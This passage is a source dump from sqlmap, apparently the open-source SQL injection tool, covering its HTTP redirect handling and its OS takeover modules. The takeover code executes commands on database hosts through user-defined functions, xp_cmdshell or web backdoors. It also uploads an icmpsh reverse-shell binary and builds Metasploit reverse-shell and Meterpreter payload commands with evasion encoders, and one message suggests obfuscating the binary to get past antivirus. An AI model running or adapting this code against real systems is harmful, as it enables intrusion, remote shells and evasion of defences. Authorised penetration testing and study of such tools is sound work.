hasattr(ssl, "create_default_context"): ctx = ssl.create_default_context() ctx.load_cert_chain(certfile=self.auth_file, keyfile=self.auth_file) try: return _http_client.HTTPSConnection(host, timeout=timeout, context=ctx) except TypeError: pass return _http_client.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=timeout) except (IOError, OSError) as ex: errMsg = "error occurred while using key " errMsg += "file '%s' ('%s')" % (self.auth_file, getSafeExString(ex)) raise SqlmapConnectionException(errMsg) ================================================ FILE: lib/request/rangehandler.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapConnectionException from thirdparty.six.moves import urllib as _urllib class HTTPRangeHandler(_urllib.request.BaseHandler): """ Handler that enables HTTP Range headers. Reference: http://stackoverflow.com/questions/1971240/python-seek-on-remote-file """ def http_error_206(self, req, fp, code, msg, hdrs): # 206 Partial Content Response r = _urllib.response.addinfourl(fp, hdrs, req.get_full_url()) r.code = code r.msg = msg return r def http_error_416(self, req, fp, code, msg, hdrs): # HTTP's Range Not Satisfiable error errMsg = "there was a problem while connecting " errMsg += "target ('416 - Range Not Satisfiable')" raise SqlmapConnectionException(errMsg) ================================================ FILE: lib/request/redirecthandler.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import io import re import time import types from lib.core.common import getHostHeader from lib.core.common import getSafeExString from lib.core.common import logHTTPTraffic from lib.core.common import readInput from lib.core.convert import getBytes from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD from lib.core.enums import REDIRECTION from lib.core.exception import SqlmapConnectionException from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import MAX_CONNECTION_READ_SIZE from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE from lib.core.settings import MAX_SINGLE_URL_REDIRECTIONS from lib.core.settings import MAX_TOTAL_REDIRECTIONS from lib.core.threads import getCurrentThreadData from lib.request.basic import decodePage from lib.request.basic import parseResponse from thirdparty import six from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import urllib as _urllib class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler): def _get_header_redirect(self, headers): retVal = None if headers: if HTTP_HEADER.LOCATION in headers: retVal = headers[HTTP_HEADER.LOCATION] elif HTTP_HEADER.URI in headers: retVal = headers[HTTP_HEADER.URI] return retVal def _ask_redirect_choice(self, redcode, redurl, method): with kb.locks.redirect: if kb.choices.redirect is None: msg = "got a %d redirect to " % redcode msg += "'%s'. Do you want to follow? [Y/n] " % redurl kb.choices.redirect = REDIRECTION.YES if readInput(msg, default='Y', boolean=True) else REDIRECTION.NO if kb.choices.redirect == REDIRECTION.YES and method == HTTPMETHOD.POST and kb.resendPostOnRedirect is None: msg = "redirect is a result of a " msg += "POST request. Do you want to " msg += "resend original POST data to a new " msg += "location? [%s] " % ("Y/n" if not kb.originalPage else "y/N") kb.resendPostOnRedirect = readInput(msg, default=('Y' if not kb.originalPage else 'N'), boolean=True) if kb.resendPostOnRedirect: self.redirect_request = self._redirect_request def _redirect_request(self, req, fp, code, msg, headers, newurl): retVal = _urllib.request.Request(newurl.replace(' ', '%20'), data=req.data, headers=req.headers, origin_req_host=req.get_origin_req_host() if hasattr(req, "get_origin_req_host") else req.origin_req_host) if hasattr(req, "redirect_dict"): retVal.redirect_dict = req.redirect_dict return retVal def http_error_302(self, req, fp, code, msg, headers): start = time.time() content = None forceRedirect = False redurl = self._get_header_redirect(headers) if not conf.ignoreRedirects else None try: content = fp.fp.read(MAX_CONNECTION_TOTAL_SIZE) fp.fp = io.BytesIO(content) except _http_client.IncompleteRead as ex: content = ex.partial fp.fp = io.BytesIO(content) except: content = b"" content = decodePage(content, headers.get(HTTP_HEADER.CONTENT_ENCODING), headers.get(HTTP_HEADER.CONTENT_TYPE)) threadData = getCurrentThreadData() threadData.lastRedirectMsg = (threadData.lastRequestUID, content) redirectMsg = "HTTP redirect " redirectMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, getUnicode(msg)) if headers: logHeaders = "\r\n".join("%s: %s" % (getUnicode(key.capitalize() if hasattr(key, "capitalize") else key), getUnicode(value)) for (key, value) in headers.items()) else: logHeaders = "" redirectMsg += logHeaders if content: redirectMsg += "\r\n\r\n%s" % getUnicode(content[:MAX_CONNECTION_READ_SIZE]) logHTTPTraffic(threadData.lastRequestMsg, redirectMsg, start, time.time()) logger.log(CUSTOM_LOGGING.TRAFFIC_IN, redirectMsg) if redurl: try: if not _urllib.parse.urlsplit(redurl).netloc: redurl = _urllib.parse.urljoin(req.get_full_url(), redurl) self._infinite_loop_check(req) if conf.scope: if not re.search(conf.scope, redurl, re.I): redurl = None else: forceRedirect = True else: self._ask_redirect_choice(code, redurl, req.get_method()) except ValueError: redurl = None result = fp if redurl and (kb.choices.redirect == REDIRECTION.YES or forceRedirect): parseResponse(content, headers) req.headers[HTTP_HEADER.HOST] = getHostHeader(redurl) if headers and HTTP_HEADER.SET_COOKIE in headers: cookies = dict() delimiter = conf.cookieDel or DEFAULT_COOKIE_DELIMITER last = None for part in getUnicode(req.headers.get(HTTP_HEADER.COOKIE, "")).split(delimiter) + ([headers[HTTP_HEADER.SET_COOKIE]] if HTTP_HEADER.SET_COOKIE in headers else []): if '=' in part: part = part.strip() key, value = part.split('=', 1) cookies[key] = value last = key elif last: cookies[last] += "%s%s" % (delimiter, part) req.headers[HTTP_HEADER.COOKIE] = delimiter.join("%s=%s" % (key, cookies[key]) for key in cookies) try: result = _urllib.request.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers) except _urllib.error.HTTPError as ex: result = ex # Dirty hack for https://github.com/sqlmapproject/sqlmap/issues/4046 try: hasattr(result, "read") except KeyError: class _(object): pass result = _() # Dirty hack for http://bugs.python.org/issue15701 try: result.info() except AttributeError: def _(self): return getattr(self, "hdrs", {}) result.info = types.MethodType(_, result) if not hasattr(result, "read"): def _(self, length=None): try: retVal = getSafeExString(ex) # Note: pyflakes mistakenly marks 'ex' as undefined (NOTE: tested in both Python2 and Python3) except: retVal = "" return getBytes(retVal) result.read = types.MethodType(_, result) if not getattr(result, "url", None): result.url = redurl if not getattr(result, "code", None): result.code = 999 except: redurl = None result = fp fp.read = io.BytesIO(b"").read else: result = fp threadData.lastRedirectURL = (threadData.lastRequestUID, redurl) result.redcode = code result.redurl = getUnicode(redurl) if six.PY3 else redurl return result http_error_301 = http_error_303 = http_error_307 = http_error_308 = http_error_302 def _infinite_loop_check(self, req): if hasattr(req, 'redirect_dict') and (req.redirect_dict.get(req.get_full_url(), 0) >= MAX_SINGLE_URL_REDIRECTIONS or len(req.redirect_dict) >= MAX_TOTAL_REDIRECTIONS): errMsg = "infinite redirect loop detected (%s). " % ", ".join(item for item in req.redirect_dict.keys()) errMsg += "Please check all provided parameters and/or provide missing ones" raise SqlmapConnectionException(errMsg) ================================================ FILE: lib/request/templates.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.data import kb from lib.request.connect import Connect as Request def getPageTemplate(payload, place): retVal = (kb.originalPage, kb.errorIsNone) if payload and place: if (payload, place) not in kb.pageTemplates: page, _, _ = Request.queryPage(payload, place, content=True, raise404=False) kb.pageTemplates[(payload, place)] = (page, kb.lastParserStatus is None) retVal = kb.pageTemplates[(payload, place)] return retVal ================================================ FILE: lib/takeover/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ pass ================================================ FILE: lib/takeover/abstraction.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import print_function import sys from lib.core.common import Backend from lib.core.common import dataToStdout from lib.core.common import getSQLSnippet from lib.core.common import isStackingAvailable from lib.core.common import readInput from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.shell import autoCompletion from lib.request import inject from lib.takeover.udf import UDF from lib.takeover.web import Web from lib.takeover.xp_cmdshell import XP_cmdshell from lib.utils.safe2bin import safechardecode from thirdparty.six.moves import input as _input class Abstraction(Web, UDF, XP_cmdshell): """ This class defines an abstraction layer for OS takeover functionalities to UDF / XP_cmdshell objects """ def __init__(self): self.envInitialized = False self.alwaysRetrieveCmdOutput = False UDF.__init__(self) Web.__init__(self) XP_cmdshell.__init__(self) def execCmd(self, cmd, silent=False): if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): self.copyExecCmd(cmd) elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail): self.webBackdoorRunCmd(cmd) elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): self.udfExecCmd(cmd, silent=silent) elif Backend.isDbms(DBMS.MSSQL): self.xpCmdshellExecCmd(cmd, silent=silent) else: errMsg = "Feature not yet implemented for the back-end DBMS" raise SqlmapUnsupportedFeatureException(errMsg) def evalCmd(self, cmd, first=None, last=None): retVal = None if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): retVal = self.copyExecCmd(cmd) elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail): retVal = self.webBackdoorRunCmd(cmd) elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): retVal = self.udfEvalCmd(cmd, first, last) elif Backend.isDbms(DBMS.MSSQL): retVal = self.xpCmdshellEvalCmd(cmd, first, last) else: errMsg = "Feature not yet implemented for the back-end DBMS" raise SqlmapUnsupportedFeatureException(errMsg) return safechardecode(retVal) def runCmd(self, cmd): choice = None if not self.alwaysRetrieveCmdOutput: message = "do you want to retrieve the command standard " message += "output? [Y/n/a] " choice = readInput(message, default='Y').upper() if choice == 'A': self.alwaysRetrieveCmdOutput = True if choice == 'Y' or self.alwaysRetrieveCmdOutput: output = self.evalCmd(cmd) if output: conf.dumper.string("command standard output", output) else: dataToStdout("No output\n") else: self.execCmd(cmd) def shell(self): if self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail): infoMsg = "calling OS shell. To quit type " infoMsg += "'x' or 'q' and press ENTER" logger.info(infoMsg) else: if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): infoMsg = "going to use 'COPY ... FROM PROGRAM ...' " infoMsg += "command execution" logger.info(infoMsg) elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): infoMsg = "going to use injected user-defined functions " infoMsg += "'sys_eval' and 'sys_exec' for operating system " infoMsg += "command execution" logger.info(infoMsg) elif Backend.isDbms(DBMS.MSSQL): infoMsg = "going to use extended procedure 'xp_cmdshell' for " infoMsg += "operating system command execution" logger.info(infoMsg) else: errMsg = "feature not yet implemented for the back-end DBMS" raise SqlmapUnsupportedFeatureException(errMsg) infoMsg = "calling %s OS shell. To quit type " % (Backend.getOs() or "Windows") infoMsg += "'x' or 'q' and press ENTER" logger.info(infoMsg) autoCompletion(AUTOCOMPLETE_TYPE.OS, OS.WINDOWS if Backend.isOs(OS.WINDOWS) else OS.LINUX) while True: command = None try: command = _input("os-shell> ") command = getUnicode(command, encoding=sys.stdin.encoding) except UnicodeDecodeError: pass except KeyboardInterrupt: print() errMsg = "user aborted" logger.error(errMsg) except EOFError: print() errMsg = "exit" logger.error(errMsg) break if not command: continue if command.lower() in ("x", "q", "exit", "quit"): break self.runCmd(command) def _initRunAs(self): if not conf.dbmsCred: return if not conf.direct and not isStackingAvailable(): errMsg = "stacked queries are not supported hence sqlmap cannot " errMsg += "execute statements as another user. The execution " errMsg += "will continue and the DBMS credentials provided " errMsg += "will simply be ignored" logger.error(errMsg) return if Backend.isDbms(DBMS.MSSQL): msg = "on Microsoft SQL Server 2005 and 2008, OPENROWSET function " msg += "is disabled by default. This function is needed to execute " msg += "statements as another DBMS user since you provided the " msg += "option '--dbms-creds'. If you are DBA, you can enable it. " msg += "Do you want to enable it? [Y/n] " if readInput(msg, default='Y', boolean=True): expression = getSQLSnippet(DBMS.MSSQL, "configure_openrowset", ENABLE="1") inject.goStacked(expression) # TODO: add support for PostgreSQL # elif Backend.isDbms(DBMS.PGSQL): # expression = getSQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1") # inject.goStacked(expression) def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False): self._initRunAs() if self.envInitialized and not forceInit: return if web: self.webInit() else: self.checkDbmsOs(detailed) if mandatory and not self.isDba(): warnMsg = "functionality requested probably does not work because " warnMsg += "the current session user is not a database administrator" if not conf.dbmsCred and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL): warnMsg += ". You can try to use option '--dbms-cred' " warnMsg += "to execute statements as a DBA user if you " warnMsg += "were able to extract and crack a DBA " warnMsg += "password by any mean" logger.warning(warnMsg) if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): success = True elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): success = self.udfInjectSys() if success is not True: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) elif Backend.isDbms(DBMS.MSSQL): if mandatory: self.xpCmdshellInit() else: errMsg = "feature not yet implemented for the back-end DBMS" raise SqlmapUnsupportedFeatureException(errMsg) self.envInitialized = True ================================================ FILE: lib/takeover/icmpsh.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os import re import socket import time from extra.icmpsh.icmpsh_m import main as icmpshmaster from lib.core.common import getLocalIP from lib.core.common import getRemoteIP from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import randomStr from lib.core.common import readInput from lib.core.data import conf from lib.core.data import logger from lib.core.data import paths from lib.core.exception import SqlmapDataException class ICMPsh(object): """ This class defines methods to call icmpsh for plugins. """ def _initVars(self): self.lhostStr = None self.rhostStr = None self.localIP = getLocalIP() self.remoteIP = getRemoteIP() or conf.hostname self._icmpslave = normalizePath(os.path.join(paths.SQLMAP_EXTRAS_PATH, "icmpsh", "icmpsh.exe_")) def _selectRhost(self): address = None message = "what is the back-end DBMS address? " if self.remoteIP: message += "[Enter for '%s' (detected)] " % self.remoteIP while not address: address = readInput(message, default=self.remoteIP) if conf.batch and not address: raise SqlmapDataException("remote host address is missing") return address def _selectLhost(self): address = None message = "what is the local address? " if self.localIP: message += "[Enter for '%s' (detected)] " % self.localIP valid = None while not valid: valid = True address = readInput(message, default=self.localIP or "") try: socket.inet_aton(address) except socket.error: valid = False finally: valid = valid and re.search(r"\d+\.\d+\.\d+\.\d+", address) is not None if conf.batch and not address: raise SqlmapDataException("local host address is missing") elif address and not valid: warnMsg = "invalid local host address" logger.warning(warnMsg) return address def _prepareIngredients(self, encode=True): self.localIP = getattr(self, "localIP", None) self.remoteIP = getattr(self, "remoteIP", None) self.lhostStr = ICMPsh._selectLhost(self) self.rhostStr = ICMPsh._selectRhost(self) def _runIcmpshMaster(self): infoMsg = "running icmpsh master locally" logger.info(infoMsg) icmpshmaster(self.lhostStr, self.rhostStr) def _runIcmpshSlaveRemote(self): infoMsg = "running icmpsh slave remotely" logger.info(infoMsg) cmd = "%s -t %s -d 500 -b 30 -s 128 &" % (self._icmpslaveRemote, self.lhostStr) self.execCmd(cmd, silent=True) def uploadIcmpshSlave(self, web=False): ICMPsh._initVars(self) self._randStr = randomStr(lowercase=True) self._icmpslaveRemoteBase = "tmpi%s.exe" % self._randStr self._icmpslaveRemote = "%s/%s" % (conf.tmpPath, self._icmpslaveRemoteBase) self._icmpslaveRemote = ntToPosixSlashes(normalizePath(self._icmpslaveRemote)) logger.info("uploading icmpsh slave to '%s'" % self._icmpslaveRemote) if web: written = self.webUpload(self._icmpslaveRemote, os.path.split(self._icmpslaveRemote)[0], filepath=self._icmpslave) else: written = self.writeFile(self._icmpslave, self._icmpslaveRemote, "binary", forceCheck=True) if written is not True: errMsg = "there has been a problem uploading icmpsh, it " errMsg += "looks like the binary file has not been written " errMsg += "on the database underlying file system or an AV has " errMsg += "flagged it as malicious and removed it. In such a case " errMsg += "it is recommended to recompile icmpsh with slight " errMsg += "modification to the source code or pack it with an " errMsg += "obfuscator software" logger.error(errMsg) return False else: logger.info("icmpsh successfully uploaded") return True def icmpPwn(self): ICMPsh._prepareIngredients(self) self._runIcmpshSlaveRemote() self._runIcmpshMaster() debugMsg = "icmpsh master exited" logger.debug(debugMsg) time.sleep(1) self.execCmd("taskkill /F /IM %s" % self._icmpslaveRemoteBase, silent=True) time.sleep(1) self.delRemoteFile(self._icmpslaveRemote) ================================================ FILE: lib/takeover/metasploit.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import print_function import errno import os import re import select import sys import tempfile import time from subprocess import PIPE from extra.cloak.cloak import cloak from extra.cloak.cloak import decloak from lib.core.common import dataToStdout from lib.core.common import Backend from lib.core.common import getLocalIP from lib.core.common import getRemoteIP from lib.core.common import isDigit from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import pollProcess from lib.core.common import randomRange from lib.core.common import randomStr from lib.core.common import readInput from lib.core.convert import getBytes from lib.core.convert import getText from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapGenericException from lib.core.settings import IS_WIN from lib.core.settings import METASPLOIT_SESSION_TIMEOUT from lib.core.settings import SHELLCODEEXEC_RANDOM_STRING_MARKER from lib.core.subprocessng import blockingReadFromFD from lib.core.subprocessng import blockingWriteToFD from lib.core.subprocessng import Popen as execute from lib.core.subprocessng import send_all from lib.core.subprocessng import recv_some from thirdparty import six if IS_WIN: import msvcrt class Metasploit(object): """ This class defines methods to call Metasploit for plugins. """ def _initVars(self): self.connectionStr = None self.lhostStr = None self.rhostStr = None self.portStr = None self.payloadStr = None self.encoderStr = None self.payloadConnStr = None self.localIP = getLocalIP() self.remoteIP = getRemoteIP() or conf.hostname self._msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli%s" % (".bat" if IS_WIN else ""))) self._msfConsole = normalizePath(os.path.join(conf.msfPath, "msfconsole%s" % (".bat" if IS_WIN else ""))) self._msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode%s" % (".bat" if IS_WIN else ""))) self._msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload%s" % (".bat" if IS_WIN else ""))) self._msfVenom = normalizePath(os.path.join(conf.msfPath, "msfvenom%s" % (".bat" if IS_WIN else ""))) self._msfPayloadsList = { "windows": { 1: ("Meterpreter (default)", "windows/meterpreter"), 2: ("Shell", "windows/shell"), 3: ("VNC", "windows/vncinject"), }, "linux": { 1: ("Shell (default)", "linux/x86/shell"), 2: ("Meterpreter (beta)", "linux/x86/meterpreter"), } } self._msfConnectionsList = { "windows": { 1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"), 2: ("Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports"), 3: ("Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP", "reverse_http"), 4: ("Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS", "reverse_https"), 5: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"), }, "linux": { 1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"), 2: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"), } } self._msfEncodersList = { "windows": { 1: ("No Encoder", "generic/none"), 2: ("Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed"), 3: ("Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper"), 4: ("Avoid UTF8/tolower", "x86/avoid_utf8_tolower"), 5: ("Call+4 Dword XOR Encoder", "x86/call4_dword_xor"), 6: ("Single-byte XOR Countdown Encoder", "x86/countdown"), 7: ("Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov"), 8: ("Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive"), 9: ("Non-Alpha Encoder", "x86/nonalpha"), 10: ("Non-Upper Encoder", "x86/nonupper"), 11: ("Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai"), 12: ("Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed"), 13: ("Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper"), } } self._msfSMBPortsList = { "windows": { 1: ("139/TCP", "139"), 2: ("445/TCP (default)", "445"), } } self._portData = { "bind": "remote port number", "reverse": "local port number", } def _skeletonSelection(self, msg, lst=None, maxValue=1, default=1): if Backend.isOs(OS.WINDOWS): opSys = "windows" else: opSys = "linux" message = "which %s do you want to use?" % msg if lst: for num, data in lst[opSys].items(): description = data[0] if num > maxValue: maxValue = num if "(default)" in description: default = num message += "\n[%d] %s" % (num, description) else: message += " [%d] " % default choice = readInput(message, default="%d" % default) if not choice or not isDigit(choice) or int(choice) > maxValue or int(choice) < 1: choice = default choice = int(choice) if lst: choice = lst[opSys][choice][1] return choice def _selectSMBPort(self): return self._skeletonSelection("SMB port", self._msfSMBPortsList) def _selectEncoder(self, encode=True): # This is always the case except for --os-bof where the user can # choose which encoder to use. When called from --os-pwn the encoder # is always x86/alpha_mixed - used for sys_bineval() and # shellcodeexec if isinstance(encode, six.string_types): return encode elif encode: return self._skeletonSelection("payload encoding", self._msfEncodersList) def _selectPayload(self): if Backend.isOs(OS.WINDOWS) and conf.privEsc: infoMsg = "forcing Metasploit payload to Meterpreter because " infoMsg += "it is the only payload that can be used to " infoMsg += "escalate privileges via 'incognito' extension, " infoMsg += "'getsystem' command or post modules" logger.info(infoMsg) _payloadStr = "windows/meterpreter" else: _payloadStr = self._skeletonSelection("payload", self._msfPayloadsList) if _payloadStr == "windows/vncinject": choose = False if Backend.isDbms(DBMS.MYSQL): debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg += "user, it is likely that the VNC " debugMsg += "injection will be successful" logger.debug(debugMsg) elif Backend.isDbms(DBMS.PGSQL): choose = True warnMsg = "by default PostgreSQL on Windows runs as " warnMsg += "postgres user, it is unlikely that the VNC " warnMsg += "injection will be successful" logger.warning(warnMsg) elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): choose = True warnMsg = "it is unlikely that the VNC injection will be " warnMsg += "successful because usually Microsoft SQL Server " warnMsg += "%s runs as Network Service " % Backend.getVersion() warnMsg += "or the Administrator is not logged in" logger.warning(warnMsg) if choose: message = "what do you want to do?\n" message += "[1] Give it a try anyway\n" message += "[2] Fall back to Meterpreter payload (default)\n" message += "[3] Fall back to Shell payload" while True: choice = readInput(message, default="2") if not choice or choice == "2": _payloadStr = "windows/meterpreter" break elif choice == "3": _payloadStr = "windows/shell" break elif choice == "1": if Backend.isDbms(DBMS.PGSQL): logger.warning("beware that the VNC injection might not work") break elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): break elif not isDigit(choice): logger.warning("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > 2: logger.warning("invalid value, it must be 1 or 2") if self.connectionStr.startswith("reverse_http") and _payloadStr != "windows/meterpreter": warnMsg = "Reverse HTTP%s connection is only supported " % ("S" if self.connectionStr.endswith("s") else "") warnMsg += "with the Meterpreter payload. Falling back to " warnMsg += "reverse TCP" logger.warning(warnMsg) self.connectionStr = "reverse_tcp" return _payloadStr def _selectPort(self): for connType, connStr in self._portData.items(): if self.connectionStr.startswith(connType): return self._skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535)) def _selectRhost(self): if self.connectionStr.startswith("bind"): message = "what is the back-end DBMS address? [Enter for '%s' (detected)] " % self.remoteIP address = readInput(message, default=self.remoteIP) if not address: address = self.remoteIP return address elif self.connectionStr.startswith("reverse"): return None else: raise SqlmapDataException("unexpected connection type") def _selectLhost(self): if self.connectionStr.startswith("reverse"): message = "what is the local address? [Enter for '%s' (detected)] " % self.localIP address = readInput(message, default=self.localIP) if not address: address = self.localIP return address elif self.connectionStr.startswith("bind"): return None else: raise SqlmapDataException("unexpected connection type") def _selectConnection(self): return self._skeletonSelection("connection type", self._msfConnectionsList) def _prepareIngredients(self, encode=True): self.connectionStr = self._selectConnection() self.lhostStr = self._selectLhost() self.rhostStr = self._selectRhost() self.portStr = self._selectPort() self.payloadStr = self._selectPayload() self.encoderStr = self._selectEncoder(encode) self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr) def _forgeMsfCliCmd(self, exitfunc="process"): if kb.oldMsf: self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr) self._cliCmd += " EXITFUNC=%s" % exitfunc self._cliCmd += " LPORT=%s" % self.portStr if self.connectionStr.startswith("bind"): self._cliCmd += " RHOST=%s" % self.rhostStr elif self.connectionStr.startswith("reverse"): self._cliCmd += " LHOST=%s" % self.lhostStr else: raise SqlmapDataException("unexpected connection type") if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject": self._cliCmd += " DisableCourtesyShell=true" self._cliCmd += " E" else: self._cliCmd = "%s -L -x 'use multi/handler; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr) self._cliCmd += "; set EXITFUNC %s" % exitfunc self._cliCmd += "; set LPORT %s" % self.portStr if self.connectionStr.startswith("bind"): self._cliCmd += "; set RHOST %s" % self.rhostStr elif self.connectionStr.startswith("reverse"): self._cliCmd += "; set LHOST %s" % self.lhostStr else: raise SqlmapDataException("unexpected connection type") if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject": self._cliCmd += "; set DisableCourtesyShell true" self._cliCmd += "; exploit'" def _forgeMsfCliCmdForSmbrelay(self): self._prepareIngredients(encode=False) if kb.oldMsf: self._cliCmd = "%s windows/smb/smb_relay PAYLOAD=%s" % (self._msfCli, self.payloadConnStr) self._cliCmd += " EXITFUNC=thread" self._cliCmd += " LPORT=%s" % self.portStr self._cliCmd += " SRVHOST=%s" % self.lhostStr self._cliCmd += " SRVPORT=%s" % self._selectSMBPort() if self.connectionStr.startswith("bind"): self._cliCmd += " RHOST=%s" % self.rhostStr elif self.connectionStr.startswith("reverse"): self._cliCmd += " LHOST=%s" % self.lhostStr else: raise SqlmapDataException("unexpected connection type") self._cliCmd += " E" else: self._cliCmd = "%s -x 'use windows/smb/smb_relay; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr) self._cliCmd += "; set EXITFUNC thread" self._cliCmd += "; set LPORT %s" % self.portStr self._cliCmd += "; set SRVHOST %s" % self.lhostStr self._cliCmd += "; set SRVPORT %s" % self._selectSMBPort() if self.connectionStr.startswith("bind"): self._cliCmd += "; set RHOST %s" % self.rhostStr elif self.connectionStr.startswith("reverse"): self._cliCmd += "; set LHOST %s" % self.lhostStr else: raise SqlmapDataException("unexpected connection type") self._cliCmd += "; exploit'" def _forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None): if kb.oldMsf: self._payloadCmd = self._msfPayload else: self._payloadCmd = "%s -p" % self._msfVenom self._payloadCmd += " %s" % self.payloadConnStr self._payloadCmd += " EXITFUNC=%s" % exitfunc self._payloadCmd += " LPORT=%s" % self.portStr if self.connectionStr.startswith("reverse"): self._payloadCmd += " LHOST=%s" % self.lhostStr elif not self.connectionStr.startswith("bind"): raise SqlmapDataException("unexpected connection type") if Backend.isOs(OS.LINUX) and conf.privEsc: self._payloadCmd += " PrependChrootBreak=true PrependSetuid=true" if kb.oldMsf: if extra == "BufferRegister=EAX": self._payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self._msfEncode, self.encoderStr, outFile, format) if extra is not None: self._payloadCmd += " %s" % extra else: self._payloadCmd += " X > \"%s\"" % outFile else: if extra == "BufferRegister=EAX": self._payloadCmd += " -a x86 -e %s -f %s" % (self.encoderStr, format) if extra is not None: self._payloadCmd += " %s" % extra self._payloadCmd += " > \"%s\"" % outFile else: self._payloadCmd += " -f exe > \"%s\"" % outFile def _runMsfCliSmbrelay(self): self._forgeMsfCliCmdForSmbrelay() infoMsg = "running Metasploit Framework command line " infoMsg += "interface locally, please wait.." logger.info(infoMsg) logger.debug("executing local command: %s" % self._cliCmd) self._msfCliProc = execute(self._cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=False) def _runMsfCli(self, exitfunc): self._forgeMsfCliCmd(exitfunc) infoMsg = "running Metasploit Framework command line " infoMsg += "interface locally, please wait.." logger.info(infoMsg) logger.debug("executing local command: %s" % self._cliCmd) self._msfCliProc = execute(self._cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=False) def _runMsfShellcodeRemote(self): infoMsg = "running Metasploit Framework shellcode " infoMsg += "remotely via UDF 'sys_bineval', please wait.." logger.info(infoMsg) self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval") def _runMsfShellcodeRemoteViaSexec(self): infoMsg = "running Metasploit Framework shellcode remotely " infoMsg += "via shellcodeexec, please wait.." logger.info(infoMsg) if not Backend.isOs(OS.WINDOWS): self.execCmd("chmod +x %s" % 